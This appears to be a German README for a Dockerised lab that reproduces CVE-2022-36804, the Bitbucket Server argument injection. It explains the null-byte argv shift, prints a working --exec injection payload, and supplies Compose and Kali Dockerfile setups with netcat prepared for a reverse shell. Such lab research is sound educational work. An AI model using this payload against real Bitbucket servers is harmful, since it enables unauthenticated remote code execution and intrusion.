Vollständige Nachbildung von CVE-2022-36804 (Bitbucket RCE). Enthält ein Dockerisiertes Labor, pspy64-Überwachung zur Verifikation der null-byte injection und ein benutzerdefiniertes Bash-Exploit-Skript. Basierend auf der Forschung von Assetnote.
CVE-2022-36804 ist eine Argument Injection-Schwachstelle mit hohem/kritischem Risiko in der REST-API von Atlassian Bitbucket Server und Data Center.
Während die offizielle NVD-Bewertung (National Vulnerability Database) eine 8.8 (Hoch) ausgibt – basierend auf der Annahme von erforderlichen Leserechten (PR:L) – behandelt diese Analyse sie als 9.8 (Kritisch) (PR:N). Falls ein Ziel-Repository öffentlichen Zugriff erlaubt – eine häufige Konfiguration – wird der Angriffsvektor komplett vorauthentifiziert.
Dieses Repository dokumentiert eine vollständige Labor-Nachbildung des Exploits, die direkt auf der technischen Recherche von Assetnote basiert.
Die Analyse beschreibt den Übergang von der Umgebungsorchestrierung und Umgehung der Sicherheitsfilter bis zum Erlangen einer interaktiven Reverse Shell. Wie in der ursprünglichen Entdeckung dargestellt, erlaubt dieser Fehler die Remote Command Execution (RCE), die vorauthentifiziert ausgenutzt werden kann, wenn das Ziel-Repository öffentlichen Zugriff erlaubt.
Die Schwachstelle liegt in einer „Diskrepanz der Bereinigung“ (Sanitization Impedance Mismatch) zwischen der Java-Anwendungslaufzeit und dem Linux-Betriebssystem.
Wie in Assetnotes Forschung hervorgehoben, verwendet Bitbucket die Bibliothek NuProcess, um Git-Befehle zu konstruieren und auszuführen. Wenn ein Benutzer einen prefix-Parameter an den /archive-Endpunkt übergibt, entfernt Bitbucket keine Nullzeichen (%00), bevor die Argumentliste an das Betriebssystem übergeben wird.
execve() den Befehl verarbeitet, schneidet es die Zeichenkette bei %00 ab. Aufgrund der Art, wie NuProcess die Daten übergibt, behandelt das Betriebssystem alles nach dem Null-Byte als völlig neues Kommandozeilenargument.Durch Injizieren von --exec=... kann ein Angreifer aus dem beabsichtigten --prefix-Flag ausbrechen und den git archive-Prozess zwingen, ein beliebiges Binärprogramm auszuführen, was zur Remote Command Execution (RCE) führt.
Um zu verstehen, wie der Exploit von einem einfachen URL-Parameter zu einem Befehl auf Betriebssystemebene übergeht, müssen wir die Struktur des Payloads analysieren und den „Array-Shift" beobachten.
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Komponente | Zweck | Technische Rolle |
|---|---|---|
prefix=x | Anforderung | git archive benötigt ein Präfix; x dient als Platzhalter. |
%00 | Das Messer | Null-Byte. Java übergibt es, aber der auf C basierende Linux-Kernel beendet hier die Zeichenkette. |
--exec=... | Der RCE-Auslöser | Das gefährliche Flag. Missbraucht die integrierte Git-Funktion zur Ausführung externer Programme. |
touch ... | Die Aktion | Der auszuführende Befehl. Sicherer PoC zur RCE-Verifikation. |
--remote=... | Der Mülleimer | Verbraucht den Commit-ID (von Bitbucket angehängt) als gültiges Argument, sodass der Befehl sauber ohne Syntaxfehler ausgeführt wird. |
Dies veranschaulicht den Kern der Schwachstelle: Wie Daten (ein Verzeichnispräfix) in eine Anweisung (ein Befehlsflag) umgewandelt werden.
Javas Ausführungskontext (Anfangszustand):
Java sieht einen einzelnen langen String als drittes Argument.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: Der einzelne, kontaminierte String
"1a2b3c4d..." // Index 3: Von Bitbucket angehängt
]
Linux-Kernel-Ausführung (ausgenutzter Zustand):
Der Kernel-Syscall execve() teilt den String an jedem Null-Bytes (\0) auf und verschiebt die injizierten Flags in ihre eigenen eigenständigen Positionen im Argumenten-Array des Prozesses.
[
"git", // argv[0]: Ausführbare Datei
"archive", // argv[1]: Unterbefehl
"--prefix=x", // argv[2]: Vorzeitig durch %00 beendet
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: DAS INJIZIERTE FLAG (RCE)
"--remote=file:///", // argv[4]: DER MÜLLEIMER (Leitet Logik um)
"1a2b3c4d..." // argv[5]: COMMIT-ID (Vom --remote verbraucht)
]
Um eine realistische Angriffsfläche zu simulieren, verwendet die Laborumgebung eine Zwei-Container-Architektur, die in einem Docker-Bridge-Netzwerk (hacking_net) isoliert ist. Dieser Aufbau stellt sicher, dass Ausnutzung und Überwachung in einer kontrollierten Umgebung durchgeführt werden können, ohne das Host-System zu beeinflussen.
Opferknoten: Führt Atlassian Bitbucket Server Version 7.17.1 aus. Der Container trägt absichtlich den Namen bitbucket-victim. Dies spiegelt eine kritische Design-Verbesserung wider, die vorgenommen wurde, um die Einhaltung von Apache Tomcats RFC 7230 zu gewährleisten. Durch die Verwendung eines Bindestrichs anstelle eines Unterstrichs vermeidet die Umgebung die „ungültiges Zeichen"-400-Fehler, die bei der Payload-Ausführung auftreten – eine wichtige technische Hürde, die während der Forschungsphase identifiziert und gelöst wurde.
Angreiferknoten: Ein maßgeschneidertes Kali Linux Rolling Image. Anders als ein Standard-Image ist dieser Knoten vorab mit dem spezifischen Toolset für diese Exploit-Kette ausgestattet: git für Repository-Manipulation, curl für die Payload-Zustellung und netcat-traditional für das Erfassen der Reverse Shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Umbenannt von bitbucket_victim, um Host-Header-Probleme bei der Payload-Ausführung zu vermeiden.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Verwende das offizielle Kali Linux Rolling Image als Basis
FROM kalilinux/kali-rolling
# Aktualisiere die Paketlisten und installiere essentielle Tools für den Exploit
# - git: ERFORDERLICH für diese spezifische CVE (wir werden Git-Befehle manipulieren)
# - curl: Zum Senden der HTTP-Anfragen (der Payload)
# - netcat-traditional: Zum Abfangen der Reverse Shell (Listener)
# - nano: Hinzugefügt für benutzerfreundliche Textbearbeitung im Container
# - python3: Nützlich zum Skripten oder Hosten von einfachen HTTP-Servern
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Setze das Arbeitsverzeichnis auf /root für Bequemlichkeit
WORKDIR /root
# Halte den Container unbegrenzt am Laufen, damit wir über 'docker exec' darauf zugreifen können
# Dieser Befehl folgt nur dem Null-Gerät, tut nichts, hält aber den Prozess am Leben
CMD ["tail", "-f", "/dev/null"]